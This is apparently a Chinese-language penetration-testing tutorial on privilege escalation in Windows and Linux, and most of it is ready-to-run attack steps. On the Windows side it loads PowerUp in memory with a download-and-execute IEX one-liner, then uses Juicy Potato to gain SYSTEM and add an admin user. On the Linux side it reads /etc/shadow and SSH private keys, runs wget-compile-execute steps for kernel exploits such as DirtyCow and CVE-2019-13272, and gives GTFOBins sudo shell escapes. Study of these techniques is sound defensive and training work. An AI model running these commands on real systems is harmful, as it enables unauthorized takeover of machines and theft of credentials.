操作系统提权

权限提升简介

权限提升(privilege Escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统的控制权。

常见权限:

1
2
3
4
用户权限(Users)
管理员权限(Administrators)
系统权限(SYSTEM)
访客权限(Guest)

是否提权取决于你的实际场景,不一定会需要提权。

windows提权

1
2
3
user --> administrator
administrator --> system
services --> system

linux提权

1
user --> root

提权分类

本地提权:

远程提权:

操作系统提权:windows常用bypassuac和potato提权。linux常用

应用程序提权

提权条件

  • 拥有Webshell、beacon、sessions
  • 拥有普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码

Windows系统提权

1.信息收集

可以手动获取,也可以使用工具。

wmic:windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的

  • 补丁信息、补丁包过滤
    1
    2
    3
    wmic qfe get Caption,Description,HotFixID,InstalledOn

    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"
  • 获取杀软名

    1
    WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
  • 获取杀软名和安装路径

1
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
wmic group
组帐户管理。
wmic os
已安装操作系统的管理。
wmic process
进程管理
wmic service
服务应用程序管理。
wmic useraccount
用户帐户管理。
wmic startup
当用户登录到计算机系统时自动运行的命令的管理。
wmic nic
网络接口控制器(NIC)管理

自动信息收集

1
2
3
4
5
6
HIGS.bat
https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat
winPEAS.bat
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat
PowerUP:提权框架Power-up (介绍https://evi1cg.me/archives/Powerup.html)
https://github.com/M4ximuss/Powerless
powerup使用

1.下载脚本

1
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

2.加载脚本

1
2
powershell -nop -ep bypass
Import-Module .\PowerUp.psm1

3.查看所有模块

1
Get-Command -Module powerup

4.查看模块详细说明

1
2
3
Get-help [cmdlet] -full

Get-Help Find-DLLHijack -full

5.导出结果

1
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

6.运行

1
2
3
4
#cmd
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
#内存加载运行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

常见提权方式

collectAV_KB
1
https://github.com/TryA9ain/CollectAV_KB
beroot
1
https://github.com/AlessandroZ/BeRoot
watson
1
https://github.com/rasta-mouse/Watson
sherlock
1
https://github.com/sherlock-project/sherlock
Juicy Potato

需要具有SeImpersonate或SeAssignPrimaryToken
开启DCOM
本地支持RPC(135端口)或者远程服务器支持RPC并能成功登录
能够找到可用的COM对象
介绍:一般从web拿到的webshell都是IIS服务器权限。

1.查看当前用户权限

1
2
3
4
5
whoami /all
whoami /priv
#SeImpersonate 权限为enabled 可以使用参数-t t
#SeAssignPrimaryToken 权限为enabled 可以使用参数-t u
#都开启可以使用 -t *

2.检查RPC默认端口

查看是否为135默认端口

3.选择CLSID

根据操作系统选择可用的clsid(介绍:https://gitee.com/yijingsec/juicy-potato/blob/master/CLSID/README.md)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
添加网络位置
shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86}

管理工具
shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153}

所有控制面板项
shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}

所有设置
shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}

所有任务
shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

应用
shell:::{4234d49b-0245-4df3-b780-3893943456e1}

AppSuggestedLocations
shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5}

ActiveX缓存文件夹
shell:::{88C6C381-2E85-11D0-94DE-444553540000}

自动播放
shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915}

备份和还原(Windows7)
shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}

BitLocker驱动器加密
shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91}

蓝牙设备
shell:::{28803F59-3A75-4058-995F-4EE5503B023C}

Briefcase
shell:::{85BBD920-42A0-1069-A2E4-08002B30309D}

Cabinet Shell文件夹
shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}

命令文件夹
shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16}

Common Places FS Folder
shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938}

CompressedFolder
shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}

连接到
shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}

控制面板
shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}

控制面板
shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}

凭据管理器
shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}

4.选择监听端口并执行

执行成功后会弹出cmd.exe窗口,但是webshell管理工具不太能利用这种,所以还得各种扩展脚本工具

1
2
3
4
5
6
7
8
9
C:/test/ >juicypotato.exe -t * -p "cmd.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9001
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

JuicyPotato-ws.exe -p "net user admin abc123! /add"

使用别的脚本:

https://gitee.com/yijingsec/SweetPotato

https://github.com/yusufqk/SystemToken

1
SweetPotato.exe -a whoami

linux系统提权

提权思路

  • 信息收集
  • 内核漏洞
  • 服务提权漏洞
  • sudo权限滥用
  • suid提权
  • GTFOBins

提取信息收集

操作系统信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 查看发行版本
cat /etc/issue
cat /etc/*-release
lsb_release -a

# 查看内核版本
uname –a
uname –mrs

# 环境变量
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
因故程序和服务信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 系统网络信息
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

# 应用程序和服务
ps aux
ps -ef
top
cat /etc/services

# root用户运行的服务
ps aux | grep root
ps -ef | grep root

# 安装的应用程序
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/

# 服务配置错误
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

# 计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
通信与网络
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 登录用户
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

# 用户敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

# 用户家目录
ls -ahlR /root/
ls -ahlR /home/

# 脚本、数据库、配置文件、日志文件
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

# 历史记录
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

# 用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

# ssh私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
机密信息和用户信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 登录用户
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

# 用户敏感文件
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

# 用户家目录
ls -ahlR /root/
ls -ahlR /home/

# 脚本、数据库、配置文件、日志文件
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

# 历史记录
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

# 用户信息
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

# ssh私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
文件系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 日志文件分析
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/error_log
cat /var/log/apache2/access_log
cat /var/log/apache2/error_log

# 可写可执行的文件夹
find / -writable -type d 2>/dev/null
> 找出可写的文件夹

find / -perm -222 -type d 2>/dev/null
> 找出可写的文件夹

find / -perm -o w -type d 2>/dev/null
> 找出可写的文件夹

find / -perm -o x -type d 2>/dev/null
> 找出可写的文件夹

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
> 找出可写可执行的文件夹

find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print
> 找出可写的文件

find /dir -xdev ( -nouser -o -nogroup ) -print
> 找出不是所有者的文件
准备和查找利用代码
1
2
3
4
5
6
7
8
9
10
11
12
# 支持的语言开发环境
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

# 上传文件环境
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
漏洞脚本:
1
2
3
4
5
6
7
8
9
10
11
http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
https://cxsecurity.com/exploit/
https://seclists.org/fulldisclosure/
https://exploit.kitploit.com/
https://www.cvedetails.com/index.php
https://packetstormsecurity.com/
http://cve.mitre.org/cve/search_cve_list.html
https://www.anquanke.com/vul
https://nvd.nist.gov/vuln/categories

内核提权漏洞

1
searchsploit搜索exp:适用于Exploit-DB的命令行搜索工具
脏牛提权漏洞:

2016年,linux内核漏洞,现在少见了。缓冲区溢出漏洞,

改写没有写文件的权限,/etc/passwd,把原有root用户更改为自己的用户,并设置密码

1
2
3
4
5
POC: https://gitee.com/yijingsec/dirtycow
#可以在自己的机器上编译
gcc编译: gcc -pthread dirty.c -o dirty -lcrypt

替换root用户: ./dirty password
cve-2019-13272
1
2
3
4
5
6
7
8
9
10
linux本地提权

漏洞范围:
4.10 < linux内核版本 < 5.1.17 只能debian

exploitdb:
https://www.exploit-db.com/exploits/47163

利用exp:
https://www.exploit-db.com/download/47163
1
2
3
wget https://www.exploit-db.com/download/47163 -O exp.c
gcc exp.c –o exp
./exp
CVE-2019-7304
1
2
3
4
5
6
7
8
9
10
11
DIRTY系列:dirty-sock
Linux包管理器snap本地提权漏洞

Ubuntu版本范围:
Ubuntu 18.10
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 LTS

snap版本范围:
2.28 < snapd < 2.37
1
2
3
利用
https://gitee.com/yijingsec/dirty_sock
python dirty_sock.py
cve-2021-3493
1
2
3
4
5
6
7
8
9
针对ubuntu
20.10
20.04 LTS
18.04 LTS
16.04 LTS
14.04 ESM
https://gitee.com/yijingsec/CVE-2021-3493
gcc exploit.c -o exp
./exp

linux密码HASH

  • /etc/passwd

    所有用户都可以查看,存储所有用户的信息,每一行代表一个用户及其信息

    1
    2
    3
    4
    5
    6
    7
    1. 用户名
    2. 密码,x表示密码保存在/etc/shadow
    3. UID,0代表root
    4. GID,表示所在组
    5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
    6. 用户主目录
    7. 默认shell类型
  • /etc/shadow

    1
    2
    3
    4
    5
    6
    7
    8
    9
    1. 用户名
    2. 加密后的密码
    3. 上次修改密码的时间(从1970.1.1开始的总天数)
    4. 两次修改密码间隔的最少天数,如果为0,则没有限制
    5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
    6. 前多少天警告用户密码将过期
    7. 在密码过期之后多少天禁用此用户
    8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
    9. 保留
1
2
3
哈希解密:
https://cmd5.com/
https://www.somd5.com/

滥用的sudo权限

sudo是linux系统管理指令,允许系统管理员让普通用户执行一些或者全部的root命令

介绍:https://www.runoob.com/linux/linux-comm-sudo.html

1
2
3
4
sudo配置文件:/etc/sudoers
配置文件权限:0440
sudo -l 显示出自己的权限
sudo -s 执行环境变数中的shell所指定的shell,或是/etc/passwd里所指定的shell

sudo提权

1
2
3
4
5
6
7
https://gtfobins.github.io/

sudo /bin/ash
sudo /usr/bin/awk -F: ‘{print $1 $2}' /etc/shadow
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo curl file:///etc/shadow
sudo find . -exec /bin/sh \; -quit

suid权限提权

suid权限文件运行时的权限是属主的权限,只能作用在二进制程序上

查找拥有suid权限的文件:

1
find / -perm -u=s -type f 2>/dev/null

提权工具

no 推荐:

1
2
https://gitee.com/yijingsec/traitor
https://gitee.com/yijingsec/gtfo